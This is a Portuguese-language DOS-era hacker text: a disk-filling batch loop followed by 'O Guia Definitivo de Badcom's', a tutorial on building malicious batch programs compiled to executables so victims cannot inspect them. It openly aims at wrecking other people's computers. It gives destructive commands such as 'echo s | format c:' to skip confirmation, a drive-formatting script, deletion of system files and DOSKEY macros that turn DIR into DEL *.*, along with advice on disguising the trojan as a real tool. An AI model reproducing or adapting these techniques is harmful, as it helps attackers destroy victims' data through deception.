Vírus em formato BAT


Como fazer um arquivo para encher o HD

Crie um diretorio temporario, exemplo: C:\LIXO.
Edite um arquivo do tipo X.BAT, atraves do EDIT do DOS e monte o seguinte programa conforme as linhas abaixo.
 

@ECHO OFF
DIR >> ENCHE
:ENCHE
TYPE ENCHE >> ENCHE
CLS
ECHO ENCHENDO AGUARDE...
GOTO ENCHE
 

Pronto, o programinha esta feito, ela ira criar cada vez um arquivo maior com o nome enche no C:\LIXO.
E para que usar um programinha inutil destes? Simplesmente para testar  o disco rigido, o CPU nao pode travar com o HD enchendo, nem quando ele ficar cheio, se o CPU travar eh porque o HD esta com problema, se ele aguentar ateh nao ter mais espaco o HD nao tem problema.
Para cancelar a operacao, pressione CTRL+C ...
Atencao, voce pode formatar um HD e fazer este teste, e ver se o HD esta OK, o HD pode estar todo deletado, ou pode ser um HD usado, com
100Mb livre um de 1.2Gb ou um com 70 ou 60Mb de 1.0Gb, etc... e rodar o programa, para testar neste HD, e quando o HD encher voce ve se esta OK ou nao. Quando der problema, o problema pode ser do CPU ou MB as vezes.
Depois que rodar o programa eh soh deletar o diretorio LIXO e ele desenche o HD!
Nunca rode isto no PROMPT do DOS do WIN 3.1 ou principalmente no WIN 95, que o CPU ira travar. Se este for seu caso, entre antes em MODO
Somente prompt ou MODO MS-DOS.
Eh isso ai...

 GUIA DEFINITIVO DE BADCOM'S 


Este Texto, ou melhor.. Esta Biblia.. hehe foi enviada por Overlord , que Bitolou em Badcom's e fez uma biblia sobre o assunto, eu nÆo cheguei a ler

tudo, mas s¢ de dar uma olhada da pra notar que ta Completissimo !!

Valeu'z vrlrÑ, Querendo mandar mais coisas, estamos a¡.




                      O GUIA DEFINITIVO - VersÆo 1.666                    

                                                                           

AUTOR: Overlord




ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿

³\/\/\/\/\/\/\/\/\/\/\/\/\/ - - = [ AvIsO ] = - - \/\/\/\/\/\/\/\/\/\/\/\/\/\³

ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ´

³  NÆo vou dizer que esse texto  apenas para fins informativos e  que  tudo ³

³  que est  contido aqui nÆo deve ser usado porque eu sei muito bem que quem ³

³  est  lendo isso quer mesmo  fuder o computador de algum, mas  lembre-se ³

³  de que  eu, vrlrÑ, nÆo estou nem a¡ com o que pode acontecer  com voc ³

³  devido ao uso das informaäes aqui contidas. Se  o seu  cachorro  morrer, ³

³  voc engravidar  sua  empregada  ou  se  terroristas invadirem sua casa e ³

³  explodirem  seu  computador  nÆo  venha  me  encher  o saco, FODA-SE! :-) ³

³  Use   essas  informaäes     vontade,  mas  faa  tudo  por  SUA  conta! ³

³  Voc  pode copiar este arquivo, contanto que deixe bem claro que EU sou o ³

³  £nico autor desse texto. NÆo fazendo isso voc s¢ estar  provando o lamah ³

³  que ... Agora chega de falar merda e vamos ao que interessa...           ³

ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ



       
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿

³\/\/\/\/\/\/\/\/\/\/\/\/\/\ - - = [ ÖnDicE ] = - - /\/\/\/\/\/\/\/\/\/\/\/\/³

ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ

       1. IntroDuÇo AoS BaDComS

         1.1) Informaäes gerais

         1.2) O que  necess rio?

         1.3) Como fazer um BADCOM?



       2. ComAnDoS dO DoS

         2.1) ECHO

         2.2) DEL/ERASE

         2.3) DELTREE

         2.4) FORMAT

         2.5) FOR

         2.6) IF

         2.7) SET/VARIµVEIS NO DOS

         2.8) GOTO

         2.9) VER

         2.10) VOL

         2.11) CLS

         2.12) ATTRIB

         2.13) CALL

         2.14) CHOICE & ERRORLEVELS

         2.15) COPY

         2.16) CTTY

         2.17) DIR

         2.18) TYPE

         2.19) MORE

         2.20) MD/MKDIR/CD/CHDIR/RD/RMDIR

         2.21) LABEL

         2.22) FIND

         2.23) PAUSE

         2.24) REN/RENAME

         2.25) SUBST

         2.26) TIME

         2.27) REM

         2.28) DOSKEY

         2.29) XCOPY



       3. ReCurSos InTeRessAnTeS

         3.1) PIPES

         3.2) Redirecionamento de I/O

         3.3) Diret¢rios inacess¡veis

         3.4) ANSI



       4. ExEmPloS (100% ComENtAdoS)

         4.1) Detectando o idioma do DOS

         4.2) Detectando a data do computador

         4.3) ANSIBOMB

         4.4) Travando o computador

         4.5) Time Bomb

         4.6) Enchendo o HD de lixo

         4.7) Abrindo janelas infinitamente

         4.8) Usando o DOSKEY pra destruir

         4.9) Travando o computador durante a inicializaÆo



       5. CoMo ConTaTar o AUtOr



       ApÒnDiCe B: TaBeLa ASCii

       Apndice B: ERRoRlEvElS



ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿

³/\/\/\/\/\/\/\/\/\ - - = [ IntroDuÇo AoS BaDComS ] = - - /\/\/\/\/\/\/\/\/\³

ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ 



    1.1) Informaäes gerais



        BADCOMS sÆo, basicamente, arquivos batch do DOS transformados em

      arquivos execut veis com o uso de um compilador.



        "Mestre,  mestre!   Ilumine   as   trevas   de  minha  ignorncia

      com a  luz  de sua sapincia! Por que eu deveria me dar ao trabalho

      de compilar os batches?"



        Simples, qualquer imbecil sabe   pra que  servem  comandos  como

      o FORMAT  ou  DEL  e  qualquer  imbecil tambm sabe usar o comando

      TYPE pra ver o conte£do de um arquivo, logo, se esse mesmo imbecil

      der um TYPE no  seu batch e  ver  qualquer comando "estranho", vai

      saber de  suas  m s  intenäes e nÆo vai rodar o programa. Se voc

      transformar  em um   execut vel,  ningum poder  ler o conte£do do

      arquivo e voc poder  fazer a festa! :-)



    1.2) O que  necess rio?



        Voc precisa apenas de um editor  de texto (MS-DOS Edit RuleZ!),

      um  compilador  de  arquivos .BAT,  conhecimentos b sicos de  DOS,

      criatividade e uma vontade louca de detonar algum! :-)



        Uma ferramente opcional: editor de telas ANSI, pra voce nÆo  ter

      que  escrever  toneladas  de  c¢digos de escape pra fazer uma tela

      legal.



        Onde encontrar ferramentas £teis:

        -> http://www.filez.com



    1.3) Como fazer um BADCOM?



        F cil. Abra seu editor ASCII favorito e escreva os comandos  que

      voc  quiser.  Mas um BADCOM nÆo adiantar  nada se a interface nÆo

      for convincente.  NÆo  nada inteligente exibir  uma mensagem como

      "Ha, Ha, Ha! Detonei seu HD!", a melhor coisa a fazer  terminar o

      programa com uma mensagem de erro, porque se o cara vier te amolar

      voc  responde:  "U...  AQUI  FUNCIONOU LEGAL...". O principal :

      SEJA REALISTA! Se voc vai dizer pra sua v¡tima que o seu BADCOM 

      um MailBomber, faa ele se parecer com um MailBomber.  Outra idia

      legal  pegar qualquer arquivo execut vel e renomear ele pra ?.DAT

      e  mandar  junto  com o seu programa. Qualquer um desconfia quando

      voc passa um £nico arquivo execut vel de 2KB.



ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿

³\/\/\/\/\/\/\/\/\/\/\ - - = [ ComAnDoS dO DoS ] = - - /\/\/\/\/\/\/\/\/\/\/\³

ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ 



        Essa  parte contm v rios comandos que podem ser utilizados  nÆo

      s¢ em BADCOMS mas em batches inofensivos. Para maiores informaäes

      sobre os comandos do DOS escreva HELP no prompt ou se quiser saber

      mais sobre um determinado comando escreva o comando e  adicione  a

      opÆo /?.

        Exemplos: C> echo /?

                  C> format /?

                  C> for /?





    2.1) ECHO

        Sintaxe: ECHO [string]

        Exemplo: C> echo Fuck You

                    Fuck You



        O comando ECHO, de forma geral, exibe uma string  na tela.  Caso

      essa  string  seja OFF, desativar   a  exibiÆo  dos  comandos  na

      tela. Se for ON, ativar  a mesma.



        Exemplo de arquivo:



         [echo1.bat]

         echo on

         echo ECHO est  ativado

         echo off

         echo ECHO est  desativado



        Quando voc rodar esse programa, ver  o seguinte:

         C> echo on

         C> echo ECHO est  ativado

            ECHO est  ativado

         C> echo off

            ECHO est  desativado



        Colocar uma @ antes do primeiro comando de cada linha,  equivale

      ao ECHO OFF, mas apenas nessa  linha.  Para  que o programa  fique

      melhor, aconselha-se colocar o comando @ECHO OFF na PRIMEIRA linha

      do  programa,  assim  voc nÆo precisa colocar uma @ antes de cada

      linha.





    2.2) DEL/ERASE

        Sintaxe: DEL [nome_do_arquivo]

                 ERASE [nome_do_arquivo]

        Exemplos: C> del autoexec.bat

                  C> erase autoexec.bat



        Esse  comando nÆo precisa de muita explicaÆo. Apenas  exclui  o

      arquivo especificado. WildCards podem ser usadas (* e ?).





    2.3) DELTREE

        Sintaxe: DELTREE (/Y) [nome_do_arquivo]

        Exemplos: C> deltree c:\windows

                  C> deltree /y c:\games



        Tambm  nÆo tem muito segredo. Exclui um diret¢rio  e  tudo  que

      tiver dentro  dele. A  opÆo /Y  detona tudo sem pedir confirmaÆo

      mas  deve  ser  usado  logo  ap¢s  o  comando  DELTREE.  Isso  NÇO

      funcionaria:



         C> deltree c:\windows /y





    2.4) FORMAT

        Sintaxe: FORMAT (/Q) (/U) (/V:label) [unidade_a_ser_detonada]

        Exemplos: C> format /q a: 

                  C> format /u c:



        O  comando mais divertido que pode ser usado em BADCOMS. Fode  o

      drive especificado literalmente. A opÆo /Q realiza uma formataÆo

      r pida e /U realiza uma formataÆo incondicional. A opÆo /V:label

      espeficifica o nome do volume da unidade, nÆo tem muito segredo...

      Mas se o drive especificado  for  um  HD  aparecer   uma  pergunta

      est£pida,  que  o  cara  responde  NÇO  e  mantm  o  HD  a salvo.

        Veja mais a frente como resolver isso.





    2.5) FOR

        Sintaxe: FOR %a in (arquivo1 arquivo2...) DO [comando] %a

        Exemplo: C> for %a in (autoexec.bat config.sys) do del %a



        Supunhetemos que voc queira executar o mesmo comando pra v rios

      arquivos. Ao invs de escrever o mesmo comando  uma   porrada   de

      vezes,  use  o comando FOR. Explicando detalhadamente:  o  comando

      FOR define uma vari vel chamada %a (ou qualquer letra) e define  o

      valor  dessa  vari vel  com  os  nomes que estÆo entre parnteses.

      Feito isso, executa  um  comando  cujo  parmetro  principal    a

      vari vel %a.



        Outro exemplo:



         C> for %a in (autoexec.bat config.sys command.com) do del %a



        Far  o seguinte:



         C> del autoexec.bat

         C> del config.sys

         C> del command.com



        Simples, nÆo?





    2.6) IF

        Sintaxe: IF [condiÆo] [comando]

        Exemplos: if exist c:\autoexec.bat del autoexec.bat

                  if not exist c:\1.bat echo 1 j  foi deletado

                  if "%1"=="fuckyou" echo Fuck You

                  if not "%1"=="fuckyou" echo Don't Fuck You

                  if errorlevel 1 goto 1



        O  comando IF testa uma condicional e  se  ela  for  verdadeira,     

      executa  um  comando.  O  primeiro  exemplo  verifica  se existe o

      arquivo  c:\autoexec.bat  e  se  existir,  deleta  ele.  O segundo

      exemplo  testa  se  o  arquivo  c:\autoexec.bat NÇO existe. Se nÆo

      existir,  exibe a mensagem "1 j  foi deletado". O terceiro exemplo

      testa  se  a  vari vel  %1    igual  a "fuckyou". Se for, exibe a

      mensagem  "Fuck You".  O  quarto  exemplo testa se a vari vel %1 

      DIFERENTE de "fuckyou". Se for, exibe a mensagem "Don't Fuck You".

      O  £ltimo  exemplo testa se foi retornado um errorlevel igual a 1.

      Veja sobre os errorlevels mais a frente.





    2.7) SET/VARIµVEIS NO DOS

        Sintaxe: SET [vari vel] = [valor]

        Exemplos: set variavel = qualquermerda

                  set drive = C:\



        O  comando SET define uma vari vel de ambiente  no DOS.  Isso  

      muito £til na programaÆo de batches.  Acho  que  com  um  exemplo

      fica melhor de explicar:



         C> set scream=argh



        Isso criar  uma vari vel chamada "scream" e definir  seu  valor

      como "argh". Se voc escrever no DOS:



         C> echo %scream%



        Ver  a palavra "argh" no lugar de "%scream%":



         C> echo %scream%

            argh



        Ou  seja, sempre que voc quiser  fazer  uma  referncia  a  uma

      vari vel j  definida, usa-se %nome_da_vari vel%.  Como  unir  duas

      vari veis em uma s¢: suponhamos que voc tenha duas vari veis. Uma

      chamada "bah1" com o valor "1234567" e outra chamada "bah2" com  o

      valor "8910" se voc quiser juntar as duas,  s¢ fazer o seguinte:



         C> set BAAAAHHH=%bah1% ; %bah2%



        Neste  exemplo  est£pido  que eu dei nÆo  parece ser  uma  coisa

      muito £til, mas nÆo se engane porque ! Outro tipo de vari vel sÆo

      as especificadas na linha de comando. Elas sÆo %1, %2, %3 at %9.

        Como  eu  disse  elas  sÆo especificadas na linha de comando, ou

      seja quando voc roda o batch. Exemplo:



         [hd_fuck.bat]

         @echo off

         if "%1" == "" goto erro

         echo Preparando pra fuder o drive %1!

         format %1

         goto fim



         :erro

         echo Seu imbecil, especifique o drive que voc quer detonar!

         goto fim



         :fim



        Rodando o arquivo dessa maneira...



         C> hd_fuck C:



        ...voc ver  o seguinte:



         Preparando pra fuder o drive C:!

         AVISO, TODOS OS DADOS NO DISCO NÇO-REMOVÖVEL UNIDADE C:

         SERÇO PERDIDOS!

         Continuar com o Format (S/N)?



        Mas se nÆo especificar nenhum parmetro...



         C> hd_fuck



        ...resulta em:



         Seu imbecil, especifique o drive que voc quer detonar!



        Como  voc pde perceber, 1%  nesse  exemplo  era  igual  a  C:.

      Note que  foi  utilizado o comando IF para verificar se a vari vel

      %1  era  existente.  Outra  coisa que nÆo pode passar despercebida

      foi  o  uso  do  comando  GOTO que ser  explicado logo a seguir...

        Mais um detalhe: o FORMAT  pediu  a  confirmaÆo idiota antes de

      detonar o HD... Em breve resolveremos isso... 8-)





    2.8) GOTO

        Sintaxe: GOTO [nome]

        Exemplos: goto hora_de_fuder_o_hd

                  goto erro



        O comando GOTO s¢ pode ser usado  dentro  de  arquivos  batch  e

      serve  para  direcionar  o  programa  para a linha especificada em

      [nome].  Quando  o  DOS  encontra  essa  linha,  executa  todos os

      comandos existentes a partir dela. O nome da linha   especificado

      com um :[nome]. Exemplo:



         [goto.bat]

         @echo off

         goto fuckyou

         echo Voc vai se fuder...



         :fuckyou

         echo Se fudeu!



        Muito simples. Logo no comeo do programa DOS  direcionado para

      a linha chamada "fuckyou" e exibe a mensagem "Se fudeu!", ou seja,

      a  segunda  linha,  "echo  Voc  vai  se fuder..." nÆo  executada

      porque o DOS foi direcionado pra uma linha APàS esse comando.

        LOOPS INFINITOS: muito f cil. Basta ver o exemplo abaixo:



         [loop.bat]

         @echo off

         :loop

         dir

         goto loop



        Isso roda o comando DIR infinitamente, at o cara apertar CTRL+C

      ou desligar o computador...



 

    2.9) VER

        Sintaxe: VER

        Exemplo: BAH!



        Exibe qual a versÆo do DOS voc est  usando.

      Aparentemente  um comando idiota e sem utilidade mas com um pouco

      decriatividade ele se torna um  comando  MUITO  £til...  Voc  vai

      entender mais pra frente...





    2.10) VOL

        Sintaxe: VOL

        Exemplo: BAH!



        Mostra  o nome de volume da sua unidade... Semelhante ao comando

      acima, muito £til pra quem  criativo.





    2.11) CLS

        Sintaxe: CLS

        Exemplo: BAH!



        Apaga tudo que tem na tela.





    2.12) ATTRIB

        Sintaxe: ATTRIB (+A) (+R) (+H) (+S) [nome_do_arquivo]

                 ATTRIB (-A) (-R) (-H) (-S) [nome_do_arquivo]

        Exemplos: attrib +h c:\ruimdows

                  attrib +s c:\config.sys

                  attrib -r c:\command.com



        Define um attributo pra um arquivo ou diret¢rio.  ¢bvio  que  o

      sinal  de mais (+) indica que um atributo est  sendo definido e um

      sinal de menos (-) indica que um atributo est  sendo removido.  Os

      atributos sÆo:



        A -> Atributo de Arquivo. Que diabos   isso?  Supunhetemos  que

             voc queira copiar  todos  os  arquivos  que  estÆo  em  um

             disquete para outro,  menos os de extensÆo .VIR. O que voc

             faz?

           

         C> attrib +a a:\*.*

         C> attrib -a a:\*.vir



             A¡ voc usa o comando XCOPY:



         C> xcopy a: b: /a



             Meio esquisito, mas  isso...



        R -> Atributo de somente para leitura. O  arquivo nÆo  pode  ser

             modificado  ou  deletado  a  nÆo  ser  que  o atributo seja

             removido.



        H -> Atributo de arquivo oculto. S¢ um burro  pra  nÆo  perceber


             que isso esconde o arquivo.



        S -> Atributo de arquivo de sistema. Acho que, na pr tica,    a

             mesma coisa que o atributo H.





    2.13) CALL

        Sintaxe: CALL [nome_do_arquivo_batch]

        Exemplo: call virus.bat



        Comando usando DENTRO de  arquivos batch que serve  para  chamar

      OUTROS arquivos batch, ou seja, roda  outro arquivo batch mas  sem

      parar de rodar o primeiro. Exemplo:



         [1.bat]

         @echo off

         echo Esse  o arquivo batch 1...

         call 2.bat

         echo De volta pro batch 1...



         [2.bat]

         @echo off

         echo Esse  o arquivo batch 2...



        Resulta em:

         C> 1

         Esse  o arquivo batch 1...

         Esse  o arquivo batch 2...

         De volta pro batch 1...





    2.14) CHOICE & ERRORLEVELS

        Sintaxe: CHOICE /C:[teclas] [texto]

        Exemplo: choice /c:123 Escolha uma opÆo:



        Esse comando exibe uma mensagem, espera que  o  usu rio  escolha

      uma das teclas especificadas e retorna  um  valor  de  errorlevel,

      de acordo com a tecla. 

                         

         [fuck.bat]

         @echo off

         choice /c:123 Escolha uma opÆo:

         if errorlevel 3 goto opcao3

         if errorlevel 2 goto opcao2

         if errorlevel 1 goto opcao1



         :opcao1

         echo OpÆo 1 escolhida

         goto fim



         :opcao2

         echo OpÆo 2 escolhida

         goto fim



         :opcao3

         echo OpÆo 3 escolhida

         goto fim



         :fim



        Rodando isso, vai acontecer o seguinte:



         C> fuck

         Escolha uma opÆo:[1,2,3]?



        Se voc escolher a opÆo 1:



         C> fuck

         Escolha uma opÆo:[1,2,3]?1

         OpÆo 1 escolhida



        Se escolher a 2:



         C> fuck

         Escolha uma opÆo:[1,2,3]?2

         OpÆo 2 escolhida



        E por £ltimo:



         C> fuck

         Escolha uma opÆo:[1,2,3]?3

         OpÆo 3 escolhida



        Ou seja, o comando CHOICE  muito til para a criaÆo de  menus,

      etc.



        Mas o que diabos  sÆo os  ERRORLEVELS?  SÆo  valores  retornados

      pelos comandos do DOS, de  acordo  com  o  que  causou  o  fim  do

      programa.

      Geralmente, quando um comando/programa pra DOS termina normalmente,

      sem nenhum erro, retorna um ERRORLEVEL igual a 0. Os outros valores

      variam de acordo com os comandos. Veja  uma  lista  de  ERRORLEVELS

      mais adiante.

        Os  errorlevels s¢ podem ser usados com o comando IF. Usando esse

      recurso,  voc  tornar   seus  batches melhores pois o mesmo poder 

      tomar decisäes de acordo com o valor de errorlevel.

        Note  que,  quando  voc usa o comando CHOICE, o  comando IF deve

      testar os valores de errorlevel do maior para o menor.

        Veja um exemplo:



         [errorlev.bat]

         @echo off

         del autoexec.bat

         if errorlevel 0 echo NÇO OCORREU NENHUM PROBLEMA



        Isso far  o seguinte:



         C> errorlev

         NÇO OCORREU NENHUM PROBLEMA



        L¢gico que essa mensagem s¢ ser  exibida se nenhum erro ocorrer.

      Explicando  melhor:  se  nÆo  ocorrer  nenhum  problema na hora de

      deletar  o  arquivo,  o DEL retornar  um errorlevel 0. Voc tambm

      pode fazer assim: 



         [errorsuck.bat]

         @echo off

         del c:\config.sys

         if not errorlevel 0 goto OPS

         echo NÆo ocorreu nenhum problema.

         goto fim



         :OPS

         echo Alguma coisa errada ocorreu.

         goto fim



         :fim



       Esse exemplo  melhor, pois testa se o comando DEL  NÇO  retornou

     um errorlevel 0. Como o errorlevel 0  significa que nada de  errado

     ocorreu,  um  errorlevel  diferente de 0 significa que algo anormal

     aconteceu.

       Se ocorrer algo anormal ele exibe a mensagem "Alguma coisa errada

     ocorreu" mas se tudo der certo exibe "NÆo ocorreu nenhum problema".

       

          

    2.15) COPY

        Sintaxe: COPY [origem] [destino]

        Exemplos: copy *.* c:\ruimdows

                  copy c:\win95\*.* c:\autoexec.bat



        Copia os arquivos especificados para um diret¢rio ou para  outro

      arquivo.





    2.16) CTTY

        Sintaxe: CTTY [novo_dispositivo_de_entrada]

        Exemplo: ctty nul



        Este comando altera o dispositivo de entrada  de dados do padrÆo

      (teclado) para outro que voc especificar.

      Mais tarde voc entender  melhor isso...





    2.17) DIR

        Sintaxe: DIR [/S] [/P] [/W] [nome_do_arquivo]

        Exemplos: dir /s

                  dir autoexec.bat



        Este comando nÆo tem  muito segredo. Se voc nÆo souber  usar  o

      comando DIR, escreva no prompt do DOS:



        C> echo s | format c:





    2.18) TYPE

        Sintaxe: TYPE [nome_de_arquivo]

        Exemplo: type msdos.sys



        NÆo tem complicaÆo. Exibe o conte£do  de um arquivo (sem  fazer

      pausa entre as p ginas). Pode ser usado  em conjunto com o comando

      MORE.





    2.19) MORE

        Sintaxe: MORE [nome_do_arquivo]

                 TYPE [nome_do_arquivo] | MORE (depende da versÆo do DOS)

        Exemplo: more sucks.txt

                 type badcom.faq | more



        O comando MORE  idntico ao comando TYPE, mas ao final de  cada

      p gina, faz uma pausa. Em versäes mais antigas  do DOS, o MORE  s¢

      funciona se for feito um PIPE com o comando TYPE.





    2.20) MD/MKDIR/CD/CHDIR/RD/RMDIR

        Sintaxe: MD [nome_do_diret¢rio] ou MKDIR [nome_do_diret¢rio]

                 CD [diret¢rio] ou CHDIR [diret¢rio]

                 RD [diret¢rio_vazio] ou RMDIR [diret¢rio_vazio]



        MD/MKDIR  cria  um  diret¢rio,   CD/CHDIR  chama (vai  para)  um

      diret¢rio e o RD/RMDIR deleta um  diret¢rio (s¢  se  o  dito  cujo

      estiver VAZIO).





    2.21) LABEL

        Sintaxe: LABEL [nome_de_volume]

        Exemplo: label se_fudeu



        Muda o nome de volume da unidade atual.





    2.22) FIND

        Sintaxe: FIND "string_procurada" [nome_do_arquivo]

        Exemplo: find "fuck" c:\trash.txt



        Procura por uma string em um determinado arquivo. Muito £til  se

      utilizado juntamente com os errorlevels.





    2.23) PAUSE

        Sintaxe: PAUSE

        Exemplo: BAH!



        Faz uma pausa no batch, at que  o  usu rio  pressione  qualquer

      tecla.  Tambm  exibe  a  mensagem " Pressione qualquer tecla para

      continuar..."





    2.24) REN/RENAME

        Sintaxe: REN [nome_do_arquivo] [novo_nome]

                 RENAME [nome_do_arquivo] [novo_nome]

        Exemplos: ren autoexec.bat noway.bat

                  rename config.sys huahuahua.com



        Muda o nome de um arquivo.





    2.25) SUBST

        Sintaxe: SUBST [nova_letra_de_unidade] [caminho]

                 SUBST [unidade] /D

        Exemplo: subst f: c:\fuck

                 subst f: /d

        Define uma letra  de  unidade  para  um  determinado  diret¢rio.

      Se voc usar a opÆo /D, o SUBST vai desativar a letra da  unidade

      Jµ  CRIADA  pelo  comando  SUBST.  S¢  vai  funcionar  se houver a

      seguinte linha no CONFIG.SYS:



         LASTDRIVE=Z





    2.26) TIME

        Sintaxe: TIME

        Exemplo: BAH!



        Exibe a hora atual.





    2.27) REM

        Sintaxe: REM [texto]

        Exemplo: rem Este  um coment rio



        O comando REM  usado quando voc  quer adicionar um  coment rio

      ao seu batch.





    2.28) DOSKEY

        Sintaxe: DOSKEY [macro] [texto] /ECHO:on|off

        Exemplo: doskey dir del *.*



        O DOSKEY tem v rias utilidades, mas s¢ vou explicar  uma, talvez

      a mais £til delas. Usando o DOSKEY voc pode criar macros, ou seja

      atribuir comandos  a palavras (como um  ALIAS). A utilidade  disso

      num  BADCOM   que voc pode trocar os comandos do DOS do cara por

      outros.  Veja  o exemplo acima. Esse exemplo faz com que o comando

      DIR  execute  o  comando DEL *.*. Voc pode usar isso como um Time

      Bomb  ou  pode  apenas  deixar sua v¡tima com o saco cheio mudando

      todos os comandos do DOS para besteiras sem sentido nenhum.

        A opÆo /ECHO define se os comandos da macro serÆo exibidos.  Se

      for desativado,  equivalente ao "@ECHO OFF". Alguns caracteres

      especiais de c¢digo de definiÆo de macro:



        $T: Separador  de  comando.  Permite  v rios  comandos em uma s¢

            macro.



        $1 a $9: Parmetros da macro. Igual a %1 a %9.



        $*: S¡mbolo substitu¡do por tudo  ap¢s o nome da macro na  linha

            de comando.



        Um detalhe, se sua v¡tima pressionar ALT+F10 todas as macros que

      voc criou serÆo desativadas.





    2.29) XCOPY

        Sintaxe: XCOPY [origem] [destino] [/S]

        Exemplo: xcopy c:\games d:\fuck /s



        Semelhante ao COPY, s¢ que mais  r pido,  pois carrega todos  os

      arquivos na mem¢ria e s¢ depois copia-os. Se  a opÆo /S for usada

      todos os  subdiret¢rios  e  arquivos  de um diret¢rio tambm serÆo

      copiados.



ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿

³/\/\/\/\/\/\/\/\/\ - - = [ RecuRsOs InTeReSSaNteS ] = - - \/\/\/\/\/\/\/\/\ ³

ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ 



        Aqui voc vai encontrar uns recursos  que tornarÆo seus  BADCOMS

      muito melhores, e conseqentemente, mais destrutivos :-).



    3.1) PIPES



        Sintaxe: [comando_do_dos_1] | [comando_do_dos_2]

        Exemplo: type damnit.txt | more



        Um pipe nÆo  bem um comando.  um  recurso  do DOS que  permite

      que voc  use  um  comando  conectado  a  outro.    meio phoda de

      explicar, o melhor  ver pelos exemplos:



         C> echo s | format c:



        Isso far  com que o FORMAT detone o HD  diretamente,  sem  pedir

      confirmaÆo,  ou melhor,  o FORMAT  PEDE a confirmaÆo, mas j  vai

      ter  uma  resposta  imediata:  a  letra  S.  Se voc escrever esse

      comando, ver  o seguinte:



         AVISO, TODOS OS DADOS NO DISCO NÇO-REMOVÖVEL UNIDADE C:

         SERÇO PERDIDOS!

         Continuar com o Format (S/N)?s



        Explicando melhor,  como se o DOS  rodasse os dois comandos  ao

      mesmo tempo e juntasse os resultados em um s¢. No exemplo acima  o

      DOS exibe a letra "s"  ao  mesmo  tempo  que  o  FORMAT  pede  uma

      confirmaÆo a respeito da formataÆo.

        O mesmo vale para o exemplo do TYPE.



    3.2) Redirecionamento de I/O

        

        Este    um  dos  melhores  recursos   que  existem  na   ediÆo

      de BADCOMS. Antes  de  tudo,  REDIRECIONAMENTO  DE  I/O  significa

      REDIRECIONAMENTO DE IN/OUT ou REDIRECIONAMENTO DE ENTRADA E SAÖDA.



        "Mestre, mestre! Alimente a minha fome de saber com o pÆo de sua

      inteligncia! NÆo entendi nada! Qual a utilidade pr tica disso?"



        It's too  easy...  Em  um  computador  existem  dispositivos  de

      entrada de dados e de sa¡da de dados. O que voc usa  pra  inserir

      dados no seu computador?



        "NÆo sei, mestre."



        ANIMAL!  o teclado! Da  mesma  forma  que  o  dispositivo usado

      para a sa¡da   de  dados   o monitor. Ou seja, todos os dados que

      voc insere pelo teclado saem (sÆo exibidos) no monitor. No DOS (e

      em  outros  sistemas)  ocorre  uma  coisa  muito  legal  que    o

      redirecionamento  de  I/O.  Voc  pode direcionar a sa¡da de dados

      para outros dispositivos ou at mesmo para arquivos.



        "Mestre, como eu direciono um comando  para outro dispositivo ou

      arquivo?"



        De acordo com a seguinte sintaxe:

        COMANDO > [dispositivo_ou_arquivo] ou

        COMANDO >> [dispositivo_ou_arquivo]



        Qual a diferena entre usar ">" ou ">>"?

        Veja os exemplos:



         C> echo merda,caralho,putaqpariu > palavroes.txt

         C> echo porra,bosta,cacete >> palavroes.txt

        19| type nul > data4.dat

        20| attrib +a +r +h +s data4.dat



